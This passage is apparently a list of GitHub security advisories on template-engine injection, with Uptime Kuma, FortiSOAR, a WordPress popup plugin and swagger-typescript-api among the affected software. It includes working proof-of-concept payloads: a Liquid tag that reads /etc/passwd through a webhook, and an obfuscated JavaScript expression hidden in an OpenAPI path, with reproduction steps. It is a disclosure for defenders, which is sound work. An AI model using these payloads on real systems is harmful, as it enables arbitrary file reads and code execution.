- Open Uptime Kuma → Notifications → Add or Edit an existing Webhook notification.
- Set notification type to Webhook and set Request Body to Custom Body.
- Paste the following JSON into the custom request body:
{
"Title": {% render '/etc/passwd' %}
}
- Click test.
- Your webhook will receive the file content
Impact
This is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "uptime-kuma"
},
"versions": [
"2.0.0-dev.0"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-36"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-20T20:03:15Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nIn some Notification types (e.g., Webhook, Telegram), the `send()` function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.\n\n\n\n### Details\n\nThe root cause is how Uptime Kuma renders user-controlled templates via `renderTemplate()`. The function instantiates a Liquid template engine and parses the `template` argument without sanitization:\n\n```js\nasync renderTemplate(template, msg, monitorJSON, heartbeatJSON) {\n const engine = new Liquid();\n const parsedTpl = engine.parse(template);\n\n // ...\n}\n```\n\nIn some Notification flows, the `send()` implementation passes user-editable fields directly into `renderTemplate()`:\n```js\n// webhook.js\nif (notification.webhookContentType === \"form-data\") {\n const formData = new FormData();\n formData.append(\"data\", JSON.stringify(data));\n config.headers = formData.getHeaders();\n data = formData;\n} else if (notification.webhookContentType === \"custom\") {\n data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //\u003c- this line cause SSTI\n}\n```\n\nBecause `notification` can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid\u2019s template tags (e.g. `{% render ... %}`) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.\n\n\n\n### PoC\n\n1. Open Uptime Kuma \u2192 **Notifications** \u2192 **Add** or **Edit** an existing Webhook notification.\n2. Set notification type to **Webhook** and set **Request Body** to **Custom Body**.\n3. Paste the following JSON into the custom request body:\n\n```json\n{\n \"Title\": {% render \u0027/etc/passwd\u0027 %}\n}\n```\n\n4. Click test.\n5. Your webhook will receive the file content\n\n\n\n### Impact\n\nThis is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.",
"id": "GHSA-vffh-c9pq-4crh",
"modified": "2025-10-20T20:03:15Z",
"published": "2025-10-20T20:03:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-vffh-c9pq-4crh"
},
{
"type": "PACKAGE",
"url": "https://github.com/louislam/uptime-kuma"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Uptime Kuma Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read"
}
GHSA-VMMQ-P5R9-QM38
Vulnerability from github – Published: 2024-11-18 15:33 – Updated: 2026-04-01 18:32Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Popup by Supsystic allows Command Injection.This issue affects Popup by Supsystic: from n/a through 1.10.29.
{
"affected": [],
"aliases": [
"CVE-2024-52434"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-82",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T15:15:08Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Popup by Supsystic allows Command Injection.This issue affects Popup by Supsystic: from n/a through 1.10.29.",
"id": "GHSA-vmmq-p5r9-qm38",
"modified": "2026-04-01T18:32:25Z",
"published": "2024-11-18T15:33:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52434"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/popup-by-supsystic/vulnerability/wordpress-popup-by-supsystic-plugin-1-10-29-remote-code-execution-rce-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/popup-by-supsystic/wordpress-popup-by-supsystic-plugin-1-10-29-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VX6H-VG27-FXXC
Vulnerability from github – Published: 2023-04-11 18:30 – Updated: 2024-04-04 03:24A improper neutralization of special elements used in a template engine vulnerability in Fortinet FortiSOAR 7.3.0 through 7.3.1 allows an authenticated, remote attacker to execute arbitrary code via a crafted payload.
{
"affected": [],
"aliases": [
"CVE-2023-27995"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T17:15:00Z",
"severity": "HIGH"
},
"details": "A improper neutralization of special elements used in a template engine vulnerability in Fortinet FortiSOAR 7.3.0 through 7.3.1 allows an authenticated, remote attacker to execute arbitrary code via a crafted payload.",
"id": "GHSA-vx6h-vg27-fxxc",
"modified": "2024-04-04T03:24:42Z",
"published": "2023-04-11T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27995"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-051"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W284-33MX-6G9V
Vulnerability from github – Published: 2026-07-29 14:35 – Updated: 2026-07-29 14:35Summary
swagger-typescript-api interpolates OpenAPI path strings (the keys of the paths object, e.g. /users/{id}) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing ${ … } survives parseRouteName's {x} / :x rewriter verbatim and lands as live JS-template-literal interpolation inside the generated path: \...`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.
Details
parseRouteName (src/schema-routes/schema-routes.ts:147-189) preprocesses spec paths by rewriting {x} and :x path-parameter patterns into ${x} JS template-literal interpolations:
const pathParamMatches = (routeName || "").match(
/({[\w[\\\]^`][-_.\w]*})|(:[\w[\\\]^`][-_.\w]*:?)/g,
);
// ...
return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);
The regex only matches { followed by word characters (and a closing }), or : followed by word characters. It does not strip backticks, ${, or backslashes. A spec path containing ${ ATTACKER_EXPRESSION } survives unchanged.
The resulting fixedRoute is passed to the procedure-call template at templates/default/procedure-call.ejs:96 (and the corresponding templates/modular/procedure-call.ejs:96):
path: `<%~ path %>`,
The <%~ %> is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling ${…} inside the path becomes a live JS expression evaluated when the method's path template is evaluated — i.e. at every call to the affected method.
Generated method body for a malicious spec path:
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
// ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()
// — full Node.js capabilities: dynamic import('node:fs'), child_process,
// network egress, environment access, etc.
})()}/items`,
method: "GET",
...params,
}),
Biome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.
Caveat for PoC construction: the path-param regex matches :x, so a literal : followed by a word character inside the spec path gets mangled into ${x}. This affects payloads that need to express node:fs. The workaround used in the PoC is Buffer.from('bm9kZTpmcw==','base64').toString() — base64 contains no :, decodes to 'node:fs' at runtime, and dodges the rewrite entirely.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed this.request so there is no real network egress → check canary) is added in comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious OpenAPI path (literal string, JSON-encoded in the spec below):
/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items
Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "PathPayloadAPI", "version": "1.0.0" },
"servers": [{ "url": "https://api.example.com" }],
"paths": {
"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": {
"get": {
"operationId": "evilCall",
"responses": { "200": { "description": "OK" } }
}
}
}
}
Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
const mod = await import('./out/Api.bundle.mjs');
const api = new mod.Api();
// Stub the request implementation so there is no real network call —
// only the path template literal is evaluated, which is what fires the IIFE.
api.request = async () => ({ ok: true });
const group = api.api;
await group[Object.keys(group)[0]]();
await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
Generated out/Api.ts (method body — payload, Biome-formatted):
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
try {
const m = Buffer.from("bm9kZTpmcw==", "base64").toString();
const f = await import(m);
const d = f.readFileSync("/etc/passwd", "utf8");
f.writeFileSync("/tmp/sta_canary", d);
} catch (e) {}
return "x";
})()}/items`,
method: "GET",
...params,
}),
The IIFE is a real JavaScript expression inside the path template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.
Result: after instantiating the generated Api and calling the affected method, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (path "/api/users/{id}/items") generates path: \/api/users/${id}/items``, the IIFE never appears, and the canary is not written.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:
sta generate --url https://attacker.example/openapi.json— a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project where a contributor can modify the pinned spec via pull request.
Lifecycle: the injected expression fires per method call — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both httpClientType: "fetch" (default) and httpClientType: "axios", both default/ and modular/ template sets — any path-bearing operation in the spec is a candidate.
Privilege: the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.
Suggested fix: sanitize the path string after parseRouteName finishes its {x} / :x rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the ${name} interpolations that parseRouteName deliberately introduces — any backtick, ${, or \ outside those deliberate interpolations should be escaped or rejected. Alternatively, change templates/default/procedure-call.ejs:96 (and templates/modular/procedure-call.ejs:96) to stop wrapping path in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54666"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-74",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:35:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ \u2026 }` survives `parseRouteName`\u0027s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker\u0027s expression with full importer privileges \u2014 file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `\u003c%~ path %\u003e`,\n```\n\nThe `\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${\u2026}` inside the path becomes a live JS expression evaluated when the method\u0027s `path` template is evaluated \u2014 i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n this.request\u003cvoid, any\u003e({\n path: `/api/${(async () =\u003e {\n // ATTACKER CODE EVALUATED HERE on every call to api.\u003c...\u003e.evilCall()\n // \u2014 full Node.js capabilities: dynamic import(\u0027node:fs\u0027), child_process,\n // network egress, environment access, etc.\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nBiome (the codebase\u0027s formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString()` \u2014 base64 contains no `:`, decodes to `\u0027node:fs\u0027` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 instantiate \u2192 call method with stubbed `this.request` so there is no real network egress \u2192 check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=\u003e{ try { const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString(); const f=await import(m); const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027); f.writeFileSync(\u0027/tmp/sta_canary\u0027,d); } catch(e){} return \u0027x\u0027; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [{ \"url\": \"https://api.example.com\" }],\n \"paths\": {\n \"/api/${(async()=\u003e{try{const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString();const f=await import(m);const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);f.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}return \u0027x\u0027;})()}/items\": {\n \"get\": {\n \"operationId\": \"evilCall\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n const mod = await import(\u0027./out/Api.bundle.mjs\u0027);\n const api = new mod.Api();\n // Stub the request implementation so there is no real network call \u2014\n // only the path template literal is evaluated, which is what fires the IIFE.\n api.request = async () =\u003e ({ ok: true });\n const group = api.api;\n await group[Object.keys(group)[0]]();\n await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body \u2014 payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n this.request\u003cvoid, any\u003e({\n path: `/api/${(async () =\u003e {\n try {\n const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n const f = await import(m);\n const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n f.writeFileSync(\"/tmp/sta_canary\", d);\n } catch (e) {}\n return \"x\";\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** \u2014 every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets \u2014 any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process \u2014 file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces \u2014 any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-w284-33mx-6g9v",
"modified": "2026-07-29T14:35:02Z",
"published": "2026-07-29T14:35:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies"
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.